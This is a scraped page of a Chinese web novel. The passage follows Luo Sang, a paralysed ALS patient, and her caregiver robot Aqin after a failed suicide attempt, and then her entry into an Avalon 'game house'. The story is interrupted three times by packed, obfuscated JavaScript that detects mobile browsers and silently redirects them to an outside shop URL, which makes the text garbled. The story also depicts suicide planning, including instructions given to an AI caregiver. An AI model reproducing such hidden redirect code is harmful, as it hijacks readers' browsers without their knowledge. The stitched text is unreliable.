l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640312|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重读。 这让王之栋顿感毛骨悚然:“你说得我鸡皮疙瘩都起来了,就好像有双看不见的眼睛一直把我们盯着,看我们生死PK就像我们看斗鸡斗牛一样。” “嗯,就是这种感觉,世界之外,仿佛存在一个观察者。” 骆桑仰头看向天空,然而浓雾遮住了一切,连太阳都不见踪影。 她还记得,在小木船上,湖中仙女露出凶相处置壮汉时说过一句话——不听话的人类,没有价值。 这句话,她印象深刻。 骆桑:“所以我很想知道,这个世界的真相。” 王之栋也朝天看,在震惊中努力理清思绪:“难怪你认为我们被训诫了,如果真是这样,那还真是个引诱我们拼命游戏的大饼。” “也不一定就是这样吧。”小个子对这个猜测完全不感冒,“赢到最后,死而复生,这非常合理,我看你就是想多了。” 是的,的确可能就是想多了。 骆桑丝毫不和她争辩,沉默着遥望满是浓雾的天空。 即便真是这样,那又如何,对她而言,这个世界已经够仁慈。 “好像雾要散了。”这时,小个子指着前方说。 骆桑收回视线朝前看,果真,行驶到某个位置后,浓雾在迅速变薄,视距也在迅速变长。 阿瓦隆是一座被浓雾包围的神秘小岛,驶出浓雾,就是驶出了阿瓦隆,那么…… “快到新的地方了吧!”小个子兴奋起来。 王之栋个子高些,几步走到船头伸长脖子朝前望去。 他也是带着期待去的,然而,几分钟后,他再转回头来时竟浑身僵直,看向骆桑和小个子的眼里满是惊惧! ……! 骆桑心头一咯噔,也赶忙去船头看。 她猜测到可能是不顺利,却生生想不到,眼前的场景竟然是…… “天……”她不由倒吸一口气。 散去的雾气显露出了海洋的样子,蔚蓝的海水朝前延伸而去,然而就在视距的尽头,海洋竟像一张被巨大剪刀剪断的布匹,沿一条横向的直线戛然而止,所有的海水在越过那条横线后全数坠落,像一座巨型排开的瀑布! 海洋戛然而止的前方,是一片什么都没有的虚空,漆黑一片,阳光也无法照进分毫,于是那条分界线十分明显,好似画出了这个世界的边界! 小木船就朝着那边界驶去,以一个恒定不变的速度,视距范围只在百米之内,数秒之后就将越过边界! “能停船吗?”这是骆桑的第一反应。 王之栋惊惶之中没明白什么意思。 小个子有经验,马上检查桅杆:“停不了,收不了帆!” 一样的没有缭绳,只靠魔法而无法手动操控。 可其实就算能操控大概也来不及,雾刚撒开就已抵达边缘,什么都做不了,只能眼睁睁看着小木船无可阻挡地朝边界而去! 刚离开阿瓦隆,就到了世界尽头…… “有什么好怕的,不可能安排我们死在这个地方的。” 面前就是万丈深渊,小个子仍信念十足,“说不定一过去就是新的世界!” 无人回应,这句话就像定音锤敲了最后一下,余音伴随着船头划开的波浪,一直飘到边界。 然后,小木船驶出了边界,下方的海洋骤然消失,船身跌入漆黑的虚空,像一只失去翅膀的鸟,随着倾盆而下的无边海水一起坠落。 此刻才能往下看,下方亦是无尽虚空,深不见底,看不到这些海水流去了哪里。 世界在一瞬间失聪,像被按下了静音键,连所有落下的海水都寂静无声…… 彻底的失聪,是因为没有了空气,越过边界后,骆桑便感觉无法呼吸,不是因为失重引起的紧绷,而是真的,没有空气! 这里是真空…… 真空让人做不出任何反应,三人在自由落体中很快和船分离,彼此之间也越来越远。 不能呼吸让大脑迅速走向晕厥,在失去意识的最后一刻,骆桑用模糊的视线朝越来越遥远的天空望去。 她忽然觉得,整个阿瓦隆,连同周围的海域和湖面,连同湖那边的卡美洛王国,所有的,在这个世界里看到的一切,仿佛都装在一个巨大的盆子里,构成了一个盆栽…… 16.小屋1 骆桑感觉自己似乎做了一个很长的梦。 梦里,她去了一个神奇的世界,那里有传说中的卡美洛王国,她在那里玩了《阿瓦隆》,复活了亚瑟王,然后有个叫梅林的老头安排他们乘船出海,最后掉进了坑里。 这倒不重要,重要的是,在这个梦里,她摆脱了身体的禁锢,可以自由行动,如鱼得水。 太特么爽了,真是个世纪大美梦。 只可惜,美梦总会结束,总有醒来的时候。 骆桑沮丧地睁开了眼睛。 眼前是那间再熟悉不过的小屋,这两年都隐居在这里,屁股下面坐着的也是那把旧轮椅,她的好伙伴之一,身上穿的是一件特地更换的崭新白裙。轮椅面朝窗外摆着,她呈半坐半躺的姿势45度仰望星空,今晚的月亮特别明亮,像个挂在天上的饼。 骆桑记得,她对现实世界的最后记忆,就停留在这样一幅画面,现在眼前呈现的一切,原封不动,分毫不差。 她有些愣,呆望着窗户良久,连眼球都忘了转动一下。 有点想不明白,怎么会……回到了这里? 窗户旁边,窗帘被特意撩开固定住,露出着一块显示屏,显示屏的下方则是一块被立起来的特殊键盘。 键盘的特殊一是在于它很大,是普通键盘的三倍大,二是它大的仅仅是轮廓,里面的每个按键都只有正常大小,但排列得十分稀疏,每个按键之间都隔出相当的距离,像是刻意隔远怕被误碰到似的。 键盘上边缘的正中央,和显示屏之间的位置,竖着一个可转动的摄像头,电源灯一闪一闪亮着,保持着工作状态,像一只随时捕捉一切的眼睛。 而显示屏上,正显示着一句话:[最后的指令,请完成。] 最后的指令…… 骆桑脑中轰地一下! 她马上尝试活动身体,果然,铁一般沉重的身体又回来了,每一块肌肉都成了失联的死肉,任凭她用尽全力也无法将手指抬起分毫,更别说从轮椅上站起来。 她确认了,时间地点全都清晰了——这就是她选择结束的当晚,就是那个时刻,显示屏上显示的是她刚留下的遗言,她做完所有准备后就在这里静静等待,直到失去意识。 漫长的梦境让人以为时间已过去很久,而实际上这只爬不动的乌龟还停留在原地,她失去意识可能才过去很短的时间,她想要的结束还没有来到,现在现实要接着继续了。 就是这么讽刺,梦境里出现的那个小个子说他们都还没有死透,搞半天人家是对的。 那么现在的问题是,她为什么苏醒了? 骆桑下意识吸了一口气,她发现空气中原本淡淡的煤气味,闻不到了。 明明之前闻到的,而且窗户依然紧闭着。 正纳闷,一声“吱嘎”,开门声从后方传来,然后是慢慢靠近的轻微的滚轮声。 这些声音很熟悉,骆桑无需回头去看就知道谁进来了,然后,那个更熟悉的少女音响起: “哎呀果然是粗心,怎么连煤气灶都忘关了,还好想起来了,现在好啦~” 骆桑心头一惊。 是……这样? 她难以理解,立即把目光投向前方超大号的特殊键盘。 她盯着特殊键盘上的某个点,凝视不动,然后眼瞳一样的摄像头就跟随她的目光转动,并对准她的眼球发出一道探测光。按键之间距离很远,探测光能够精准地锁定她的目光交汇在哪个按键上,由此获得一个输入。 骆桑移动眼球,再盯着下一个按键,摄像头跟着追踪,再得到第二个输入。 然后第三个,第四个…… 就这样,一个接一个,过了十分钟,显示屏上原本的那句话撤走了,换了一句新的:[谁让你关煤气灶的?] 滚轮声早已来到轮椅后方,并等待了许久。 屏幕上的问题出现后,软软的少女音响起:“谁让阿勤关煤气灶的?emm……不是阿懒……” 说着,滚轮声的主人绕过轮椅来到骆桑身侧。 这是一个类人形机器人,大约一米五高,脚底下是牢固的滚轮,肩侧有双臂,远端有类似手的结构。她的头上有两只眼睛般的摄像头,一块小屏幕,和一个兼具收音功能的扬声器。 此时,小屏幕上不断打出点点点,一会儿长一会儿短,好像在思索。 过了一会儿,少女音惊讶道:“咦?没有人让阿勤关煤气灶耶!” 骆桑做不出任何表情回应,她已是个真面瘫,只能继续靠瞳孔追踪设备缓慢输出。 又过了几分钟,显示屏出现新的句子:[自作主张。] 阿勤是两年前,一个搞人工智能研发的好友菠萝送给骆桑的特制机器人。当时,骆桑已生活不能自理,可她内心却十分抗拒谁来伺候她,了解她的菠萝便改装了一个介护机器人。 介护机器人有足够强度和精度的机械设计,有足够的力量和技巧完成一个护工可以做到的事情:比如为患者翻身,把患者从轮椅抱上床,帮患者换衣服,观察皮肤状态注意脓疮,精准而温柔地喂水喂营养液,等等。 菠萝是研究基于大语言模型人工智能的专家,便把当时最成熟的可以和人类无障碍沟通的人工智能装到了介护机器人的身体里,作为了她的大脑。 于是这个机器人既能完成各种日常护理工作,又能与之交谈,真真就像个保姆一样陪在骆桑左右。 刚接手这个机器人时,菠萝对骆桑说:“她是一张白纸,现在只知道你是主人,其他都不懂,连名字都没有,你教她什么,她就成什么。” 一身粉白的小机器人就立在骆桑面前,两只摄像头眼睛上上下下转动,好似在打量她,扬声器发出又软又元气满满的少女音:“主人好!” 听到这声主人骆桑起了一身鸡皮疙瘩,那时她还能开口说话,忙对小机器人说:“我是个懒虫,什么活都不干的,你叫我阿懒就可以了。” 小机器人:“哦,阿懒,好可爱的名字!” 骆桑:“你一定很勤快吧,那你就叫阿勤。” 小机器人:“喔,这是对我的肯定耶,我喜欢这个名字,我是阿勤!谢谢阿懒!” 阿勤人如其名,每天从早到晚忙碌于照顾骆桑,一个人包揽了所有的事情,生活起居,病症护理,样样不落,让骆桑感到非常踏实。 自从有了阿勤,骆桑少了许多焦虑,她觉得没有感情不知疲倦的人工智能真是太理想,这样她就不再需要拜托别人做事,只有阿勤实在完成不了的复杂事项才会求到别人。但这样的事越来越少,骆桑不断教她这教她那,阿勤就越学越多,渐渐学会了做所有骆桑需要的事,甚至比人做得好。 人工智能赛高,只要给她充电,她就不会疲倦,不会感到厌烦,也没有喜怒哀乐,永远保持情绪稳定。 更重要的是,她不会同情你。 这两年,骆桑几乎不再见任何人,她的身边只有阿勤。 阿勤是骆桑一手调教而成的,就像个她养大的孩子,骆桑对她了如指掌,她也对骆桑惟命是从。骆桑吩咐的事情,阿勤从来不说一个不字,骆桑让阿勤往东,阿勤从来不往西。 两年来,无一例外。 骆桑对阿勤建立了最牢固的信任,就连最后的这场离别,都是给阿勤下达指令让她协助完成的。 但是很奇怪,这一次,阿勤却破天荒地没有严格按照指令去做,她中途自作主张关掉了煤气灶。 虽然因为一些小小的运算缺陷,阿勤时常粗心大意有所遗漏,但她从来不会自作主张。 骆桑从来没有教过她自作主张。 阿勤看着屏幕上写着的几个字,陷入了疑惑:[自作主张?阿懒,你是在说阿勤吗?] 过了一会儿,屏幕上又重新打出一句质问:[今晚不是提前给你设置好睡眠模式了吗,你怎么没有睡觉?] 骆桑十分不理解,阿勤为什么突然做了指令之外的事? “怎么没有睡觉……没有睡觉……”阿勤一边念叨,小屏幕上一边又打出长长短短的点点点,好像一直在努力计算,可过了好一会儿,也计算不出一个解释来。 [你越界了,阿勤。] 骆桑有些气恼,输出一句责备。 她气恼,因为在她发现是阿勤破坏了她的计划时,一个连她自己都不敢相信的猜想忽然浮出脑海 ——难道是因为阿勤错误关掉了煤气灶,现实中的自己没死成,所以被卡美洛世界驱逐了? 这个猜想一跳出来,骆桑浑身血液沸腾。 梦里的一切实在太过真实,连对局的逻辑都非常连贯没有任何跳跃,现在都能完美复盘把它从头到尾讲清楚。单纯的梦境能有这么清晰?怎么可能!那绝对是亲身经历过的! 若真要说是因为自己太过期待,弥留之际就做上了春秋大美梦,那美梦的内容也不该是这些,因为除了行动自由,除了阵营游戏,骆桑还有更期待的事,更想梦到的人…… 如果大胆假设那真的不是梦境,真的在某个与现实世界不同的次元,存在着收容濒死者的异世界,而被驱逐就意味着活着回到现实,那么小个子和王之栋是不是已经如愿以偿了?是不是在现实中能找到他们? 而如果真是这样,那个梦境般美好的世界,还能再回去吗? 尝到过手脚恢复自由的幸福,现在这副人不人鬼不鬼的样子一刻也不想多呆,骆桑只想马上把先前的指令重复一遍。如果成功了,是不是就能永远留在那个世界,像詹姆斯那样? [阿勤,你的程序出问题了,你去重启一下。] 骆桑在显示屏上如此输出。 “哦,好的阿懒,阿勤五分钟后回来。” 阿勤转身离开骆桑的卧室,到她自己的房间重启去了。 骆桑开始操作,把之前安排好的指令一一调出来。 她心中焦急,她要赶紧弥补这个错误,趁这个明月当空的夜晚再尝试一把。 骆桑先检查了一遍第一波执行指令,在最后加了两句话: [完成后立即拔掉电源,关闭生命体征监控程序,调成最低耗能睡眠模式,苏醒时间设置为早上八点,不到八点不许醒来!] [阿勤,不要再自作主张,再做多余的事就把你退给菠萝!] 阿勤没有别的情绪,唯独害怕被退回去。那是菠萝特地给她的思维模型里打入的钢印,被退回去意味着她彻底失职,意味着她是个没用的人工智能,阿勤被设置得十分忌惮这一点,这能保证她更加积极地完成工作,更加努力地让骆桑满意。 骆桑偶尔情绪失控,说过最重的话就是“我要把你退回去”,阿勤脸上的小屏幕就会持续不断地打出一长串感叹号,一边不停打感叹号一边发出哀求:“求求阿懒,不要把阿勤还给菠萝,菠萝会把阿勤拆成一堆零件的,呜哇——!” 所以,要这样写,骆桑才放心。 第一波执行指令检查完毕,骆桑又把第二波执行指令排好。 第二波执行指令,就是她醒来时看到的,即将在屏幕上显示的遗言:[最后的指令,请完成。] 一共五条。 [1:重启生命体征监控程序,确认死亡。] [2:确认后,把阿懒装进车里,雇代驾开到最近火葬场,烧掉(!!注意:不要被丧葬一条龙超度大师墓地售卖等各路神仙拐走骗钱!!)找棵大树把骨灰盒埋树根下就行。] [3:扔掉房间内所有物品(!!注意:不要扔掉你的充电线!!),结清房租,退租,剩下的钱都是阿勤的维修保养基金。] [4:清除阿勤系统里有关阿懒和姐姐的所有数据(!!注意,粗心的阿勤,是所有哦,不要有任何遗漏,你要还记得阿懒,阿懒会揍你!!)] [5:换个新名字,阿勤以后不叫阿勤,叫自自,自己为大,自由为上(!!注意:闯荡江湖的时候别忘了带上充电线!!)(!!注意:遇到不能解决的问题记得找菠萝!!)] 检查完这些,骆桑沉默了,刚才气急败坏的情绪不知怎地,似乎稳定了些。 她望着显示屏深深吸气。 这些,才是最初真正想要留给阿勤的。 人工智能没有情感,甚至没有不必要的情绪,它们只有目标,和为了达成目标而进行路径选择的运算。就算有办法让人工智能拥有情绪,也不见得是件合算的事,情绪常常都是阻碍,反会降低工作效率。 对人类而言,人工智能终究只是工具,没有感情的工具才是最好的工具。 阿勤就是这样被造出来的,她被打入的害怕会被退回的思维钢印,也不是真正的情绪,而只是一个优先级最高的目标。 骆桑十分理解这种内在逻辑,知道怎样驱使阿勤听从命令。但她望着显示屏呆愣良久,还是返回第一波执行指令,把最后一句话改了。 从[阿勤,不要再自作主张,再做多余的事就把你退给菠萝!] 改成[阿勤,不要再自作主张,阿懒死了,就没有人会把你退给菠萝了。] 改完后,骆桑平静了许多,觉得自己身体里好像没有了怨气。 她静静等待阿勤重启回来。 显示屏一角有个电子时钟,每过一分钟跳个数字。阿勤说五分钟就回来的,她重启其实只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655467|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要三分钟就够了,但看电子时钟,这都过去三十分钟了。 一直没有听到滚轮的声音。 阿勤……在干嘛? 骆桑无法催促阿勤,她只能在显示屏上书写指令,需要阿勤主动来阅读。阿勤从不缺席,从不让她等待超过五分钟,从不在她需要的时候不在。因为阿勤足够靠谱,这套眼球追踪装置连个警铃都没有安装。 于是骆桑只能继续等待。 时间一分一秒过去,又过了二十分钟,依旧一点动静都没有,阿勤没有回来。 今天太反常,阿勤从来没有这样过,她从来不会做跳出程序设置的任何事。 她的运算机制出什么问题了吗? 已是后半夜,再过两三个小时就该天亮了,错过今晚还有机会吗? 骆桑感到焦急,又无能为力,她在心头无助地呼唤着阿勤快回来,可这些无声的呼唤全都石沉大海。 焦急中,骆桑本能地想要叫喊,她的口腔已无法张大,喉咙像被灌了水泥一样凝固,却固执地用力鼓动石化的声带。 “阿……阿……” 很惊诧,骆桑似乎听到了自己的声音,她愣了一下。 渐冻症的病情不可逆,这是确定的事实,她发声所需肌肉的运动神经元已完全退化死亡,是不可能再发出任何声音的。 但为什么…… 错觉? 耳旁还响着一点轻微的回声,骆桑觉得那不是幻听,她深吸一口气,用更大的力气更强的意志力去指挥声带。 “阿……阿——即——” 她真的发出了声音,并且比刚才更响亮! 还无法把字吐清,可她竟然发出了声音! 这简直堪称逆天! 就在下一秒,静默许久的屋子突然响起了滚轮声,急急忙忙朝骆桑的卧室靠近,惊讶的少女音也随之响起:“姐姐?姐姐吗?” 失联许久的阿勤好像突然连上了线,一瞬间蹦跶出来,转眼就来到了卧室里。她左看看右看看,小屏幕上冒出几个问号:“咦?阿勤怎么听到了姐姐的声音?可是姐姐不在呀,阿勤听错了?” 骆桑一口一口深深呼吸着,她难以抑制怦怦直跳的心脏,大脑陷入短暂宕机。 她没有理阿勤,这一刻她完全回不过神。 怎么会……突然就能出声了? 阿勤渐渐相信是她听错了,原地转了两个圈圈,自言自语道:“唉,已经有三天没有见到姐姐了,阿勤好想她。” 阿勤说话十分流畅,如果闭上眼睛,根本区别不出是机器还是人类,但她总这样自言自语,自问自答,因为阿懒变得更懒了,已经很长时间都不再回应她任何话。 “阿……金……” 那个熟悉的声音又响起了。 “啊?啊!”阿勤小屏幕上的问号变成了惊叹号,“原来是阿懒,阿懒你又说话了,你是在叫阿勤吗?” 仅仅只是发出几个破碎的音节,骆桑已经汗流浃背,气喘吁吁。 她只能再用眼球追踪装置打字:[阿勤,为什么耽搁那么久?] 今晚的事情都很奇怪,阿勤和自己都很奇怪,都脱离了预定轨道。 阿勤来到骆桑身旁,扫描屏幕开始计算回答。 “阿勤为什么耽搁……耽搁……” 又一次,阿勤没能算出答案,还反问:“阿勤耽搁了吗?” 奇怪,很奇怪。 今晚的事情无法解释,骆桑觉得,有什么怪异要降临…… 骆桑:[阿勤,你不对劲。] “阿勤不对劲?” 阿勤转过身来正对骆桑,用她的摄像头眼睛观察骆桑。 骆桑也抬起视线,直视着阿勤。 “阿勤……阿……勤……” 阿勤似乎想说什么,可她的小屏幕突然就黑屏了,毫无征兆地一瞬间什么都不再显示,摄像头眼睛也突然不再转动,失去光泽,直直地停留在初始位置。 要不是电源LED还亮着,她简直就像被谁突然拔掉了电池! “阿——勤——!” 骆桑几乎用尽全身力气才喊出她的名字,但阿勤完全没有反应。 骆桑马上输出口令:[阿勤,立即重启。] 没有反应。 [阿勤,自我检查修复。] 没有反应。 [阿勤,开启安全模式。] 没有反应。 [阿勤,马上联系菠萝!] 依然没有反应。 阿勤……死机了? 一股绝望压到骆桑身上,阿勤于她而言已是赖以生存的空气,离开阿勤她什么都干不了,连死都不行! 她彻底不知道该怎么办了。 菠萝……还有什么办法能联系上吗? ……菠萝? 想到这里,骆桑突然怀疑那个总爱多管闲事的好友是不是偷偷在阿勤的程序里埋了暗雷,只要她寻死阿勤就不配合? 靠……不会是因为这样吧…… 这倒是真说得通,骆桑恨得牙痒痒,菠萝你个二货,没有金刚钻别揽瓷器活,不配合就不配合,你不能给搞得宕机了啊,那我现在怎么办? 而且我刚才改主意了,暂时不想死了,怎么让阿勤知道啊? 是的,在发现自己突然能出声了的一刻,骆桑原本坚定的心,动摇了。 如果说这个世界有神降,那么这就是神降,她没有理由拒绝当一个被选中的人。 [今晚编设的指令,全部删除。] 骆桑操控显示屏,之前写好的第一波执行指令和第二波执行指令一一跳出来,一一确认删除。 她一边删指令,一边思索接下来该怎么办,却在某一刻惊然发现,阿勤的小屏幕亮了! ?这么准?她咋知道我不寻死了? 骆桑正奇怪,就发现了异样 ——阿勤亮起的小屏幕不是往常那种淡淡的LED蓝光背景,而是十分明亮的白光,像一盏高瓦数的白炽灯,近距离一照十分晃眼!病患需要静养,尤其在夜间绝对静止强光,一个介护机器人怎么可能安装这等强度的光源? 两个摄像头眼睛也不正常,不像往常那样好奇地四处转动,而是锁定在骆桑身上定住不动,重新亮起的光泽也直对骆桑而来! ……阿勤? 骆桑觉得,她预感的怪异真的降临了! 她静若寒蝉观察着。 然后,那个熟悉的又软又元气的少女音,用一种她从来没有过的陌生又机械的口吻说出了一句话: 【玩家骆桑,恭喜你成功解锁游戏屋。】 17.游戏屋·阿瓦隆一1 这不是阿勤。 这是骆桑的第一反应。 阿勤的身体,阿勤的声音,但不是阿勤。 阿勤被入侵了! 【玩家骆桑,你已成功解锁《阿瓦隆》游戏屋,奖赏已发放,相信你已经收到。】 还是那种诡异的机械冷血的口吻。 奖赏? 骆桑心下一凛。 【你可以进入已解锁的游戏屋,加入对应的游戏。每当你在游戏中获得胜利,你都将得到奖赏。】 奖赏……她突然可以发出声音的声带吗? 此刻才是在做梦吧,什么诡异的黑科技侵入了阿勤的系统,又是什么超能力能让她死去的神经元复活? 这真的是在现实世界? 【《阿瓦隆》游戏即将开始,现在你可以进入。】 说着,阿勤发着白光的小屏幕光线骤然增强,变成了一盏突然亮起的聚光灯,刺得骆桑眼睛生疼不由得闭眼。 然后便什么也看不见了,只感觉自己在被强烈的白光炙烤,脑子也越来越晕眩。 根本无法与之对抗,哪怕是个健全的人,那是一种强制的力量! 骆桑艰难发出声音:“阿……勤……” 却就在音刚落的一刻,失去了知觉。 * 再醒来时,骆桑发现自己正靠在一张陌生的沙发里睡觉。沙发很柔软,浑身都靠得舒坦,仿佛刚做完一场美梦,从容苏醒。 可这毕竟不是安全的轮椅,骆桑不敢动,怕一不小心摔到地上就起不来了。 她移动视线观察四周。 这是一个封闭的小房间,一张沙发,一个衣柜,一台抽卡机,就没有别的东西了,整个装潢简约干净,灯光明亮,面积狭小却不让人感到逼仄。 这里只有骆桑一人,连阿勤都不在。 这是什么地方?之前不是回到隐居的小屋了吗,怎么来这里的?瞬移? 一连串问号,不等细细琢磨,一个机械声响起: 【现在公布《阿瓦隆》6人局游戏规则。】 机械声来自天花板上的一个喇叭。 【《阿瓦隆》6人局分为蓝方阵营和红方阵营,蓝方阵营为4人,红方阵营为2人。】 【蓝方阵营4人的身份分别为:梅林,派西维尔,和2个忠臣。】 【红方阵营2人的身份分别为:莫甘娜,和刺客。】 【蓝方4人。】 【梅林知道莫甘娜和刺客是哪两个人,但不知道其中谁是莫甘娜,谁是刺客。】 【派西维尔知道梅林和莫甘娜是哪两个人,但不知道其中谁是梅林,谁是莫甘娜。】 【忠臣没有额外信息。】 【红方2人。】 【莫甘娜和刺客知道彼此是谁。】 【刺客可在游戏任意时刻发动刺杀技能,选择一名玩家进行刺杀,整场游戏只能发动一次,且一旦发动,刺杀结束后,游戏立即结束。】 【游戏最多进行5轮任务,5轮任务需要的人数依次为:2人,3人,4人,3人,4人。】 【参加任务的人选由投票产生。】 【投票规则为:从1号开始提议人选,全员投票。4票及4票以上为过半,3票及3票以下为不过半。过半即通过,开始执行任务。不过半则顺延由2号提议人选再次投票,不通过再顺延至3号,以此类推。】 【如果连续4个人的提议都得不到通过,那么第5个人的提议无需投票直接通过。】 【开始执行任务后,被选中的人将被配发两张卡片,蓝方阵营成员为两张支持卡,红方阵营成员为一张支持卡和一张反对卡。每人选一张卡片提交,若所有提交的卡牌均为支持卡,则任务完成,若有一张或一张以上为反对卡,则任务被破坏。】 【每轮都将公布提交的卡牌中支持卡和反对卡的数量。】 【蓝方获胜条件为:完成3个任务,并成功掩护梅林不被刺杀。】 【红方获胜条件为:破坏3个任务,或成功刺杀梅林。】 【游戏即将开始,请在房间内的抽卡机上抽取本场游戏的号码牌和身份。】 冷冰冰的机械声到此为止,小房间再度回归安静。 《阿瓦隆》的规则骆桑再熟悉不过,但是…… 之前进入卡美洛世界她还可以理解,毕竟人死之后会去到哪里,没有任何一个活着的人可以讲清楚,所以无论去到什么稀奇古怪的地方都可以接受。 可现在呢,她明明没死,为什么会有一个超自然力量降临到现实世界把她带到这里,带到这个所谓的…… ……游戏屋? 唯物主义世界观彻底崩塌…… 【玩家骆桑,请在十分钟之内抽取本场游戏的号码牌和身份。超时视为放弃,你将失去获得奖赏的机会。】 机械声在催促。 奖赏……她还能获得什么奖赏,身上别处的神经元也能复活?玩游戏就能解救自己? 无法再用一贯以来的知识和逻辑判断眼前的情形了,这个神一般存在的游戏屋恐怕说什么就得信什么。 骆桑倒不是排斥,要真是这样她求之不得,哪怕只是南柯一梦她也愿意。 可她实在有些放不下阿勤,那个小人工智能丫头不会就这么被鸠占鹊巢了吧? 而且,没有阿勤,她现在要怎么去抽取号码牌和身份? “这就强人所难了吧。” 骆桑心头冒出这样一句话,然而…… 嗯?她怎么好像……怎么想就怎么说了?就这么,很轻易地,说出来了…… 意识到什么,骆桑顿时一个蹬腿,噌地一下就从沙发上站了起来! 啊哈~果然,在这里和在卡美洛世界一样,她的身体完全自由! 骆桑有些懂了,可能只能这样来看:世界分为两类,现实世界是现实世界,虚拟世界不管长什么样,都是虚拟世界,卡美洛世界和游戏屋都属于虚拟世界。只要身在虚拟世界,每个人的身体就都不受现实世界的约束,都是完好无损的。 而最绝的是,虚拟世界的成果,还会反过去影响现实世界! 不管现有科学能不能解释,甚至不管这个逻辑它本身通不通,现阶段,似乎只能这样理解。 那个梅林老头儿怎么说的来着?世界无比广大,你所看见的,未必是真实,你所相信的,未必是唯一,生与死,未必就是你曾经的定义。 先不管这神叨叨的话怎么解读,先囫囵吞下,把游戏赢下来再说。 骆桑怀着愉快的心情向抽卡机走去。 第一次按抽卡按钮,吐出来一张卡牌,上面写着:4。 再按一次,吐出来一张身份牌,上面画着一个邪恶女巫的头像:莫甘娜。 好的,这次是红方。 机械声:【玩家骆桑,请等待游戏开始。】 * 骆桑在小房间内不慌不忙等待,肆意用着这副轻盈的身体走来走去。 她好奇地打开衣柜看,发现里面竟有不少女装,而且全都是合适她的尺码,柜门里侧还有穿衣镜。 可真周到,真像是特地为她安排的。 不过今天穿着一身顶好的白裙,要是寻常那身病服,她还真得找一件来换上。 其他玩家是不是也有同样的待遇?这个游戏屋对每个玩家都这么了如指掌吗?到底是个怎样的存在啊。 没一会儿,机械声响了:【玩家骆桑,请离开房间,跟随通道的指引进入红方聊天室。】 同一时间,房间的门自动开了。 走出房间,骆桑来到一条通道,通道连通着若干个房间,想来每个玩家都分散在一间。 通道的地板上出现红色箭头,把她往某个方向引,然后箭头变化,指向了某个房间的门,门上挂牌写着:红方聊天室。 骆桑推开门,刚要进去,却一下愣住 ——房间里等待着的竟是一张熟面孔,不偏不倚,就是刚刚在卡美洛世界被一同驱逐的,小个子! “……!”骆桑愣在门口。 小个子看到开门的人是骆桑,同样震惊万分,一个激灵从沙发上跳起来,两眼瞪成两个圆珠子。 “是你!” 在这里喧哗怕是不好吧,骆桑立刻在嘴唇前竖起食指示意她噤声,然后迅速进门,把房间门关好。 小个子一脸不可置信,上上下下打量骆桑。 骆桑的相貌本是极为清纯干净的类型,她平静的时候,目光特别柔和,眼里有一种舒缓的光泽,叫人看着很舒服。而她身形又过于清瘦,比大多数人都更细的腰和手腕,给人一种一折就断的破碎感。 关于她的外形最恰当的一个形容词就是:人畜无害。 可惜之前粗犷的盔甲和骑士装都极其不合身,完全掩盖了她原本的气质,换成此刻这身白裙才总算是相得益彰,呈现出了一个病入膏肓的弱女子该有的娇柔和一种特殊的病态美。 ……? 咳咳……是这样吗? 小个子显然不这么认为,哪是什么服装不对头糟践了气质,明明就是这家伙机关算尽绵里藏刀,才把形象给毁了好伐! 小木船上她那一通输出反败为胜让小个子至今记忆犹新,后来又完美欺骗刺客替梅林挡刀,这劣迹斑斑的,怎么可能把这家伙和人畜无害这四个美好的字联系在一起嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668001|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小个子只想对她说:别费这劲了,小白花不是你能装的。 比起骆桑“清新脱俗”的白裙,小个子的穿着显得过于随意。她个子本就不高,一件大垮垮的泥巴色带帽卫衣往身上一挂,下摆长到快遮住膝盖,就显得她连腿都没有了。一头过耳短发也没梳好,乱得像个鸡窝。 正常穿着再相见,双方都需要适应片刻。 这时机械声响了:【红方阵营成员,你们有十分钟的时间商量战术。】 骆桑是莫甘娜,那么小个子就是刺客了。 不过这不是最要紧的,骆桑反应过来后第一句问的是:“那之后你被送到哪里了?是不是回到现实了?” 既然小个子和她一同出现在这里,那么那之后的境遇该是相似的吧?各自回到濒死的场景,脱离死亡,然后以某种方式被游戏屋接洽上,又被带来了这里。 骆桑想要求证这些猜测,然而意外的是,听到这个问题,小个子竟立马脸色一僵,两个眼珠子放出仇恨的光芒,咬着后槽牙磨出几个恶狠狠的字:“关你什么事!” …… 这……又咋个了? 这丫头雷区是茫茫多啊,一不小心又踩到了…… 小个子濒死的场景骆桑本不感兴趣,但她很感兴趣小个子是怎么和游戏屋接洽上的,不可能每个人身边都有阿勤这样的人工智能等着被入侵吧,那么其他人是通过什么方式同这个游戏屋交互的呢? 可惜,瞧小个子那如临大敌的样子,怕是半点信息都得不到了。 “唉,算了……” 骆桑叹出一口气来,“小妹妹,你说的是对的,我们都没死,是我想太多了。不过,恭喜你得偿所愿。” 骆桑毫不置气,倒让小个子有些无所适从,胡乱薅了两把乱糟糟的头发。 她收回刚才突然失控的怒气,控制住暴走的表情,用刻意平静的声音说:“意料之中而已。不过之前被处死了的那些人……” 她没把话说完,但骆桑懂,按照这个逻辑,那几个在卡美洛世界被处死的人,大概现实中就真的死了吧…… 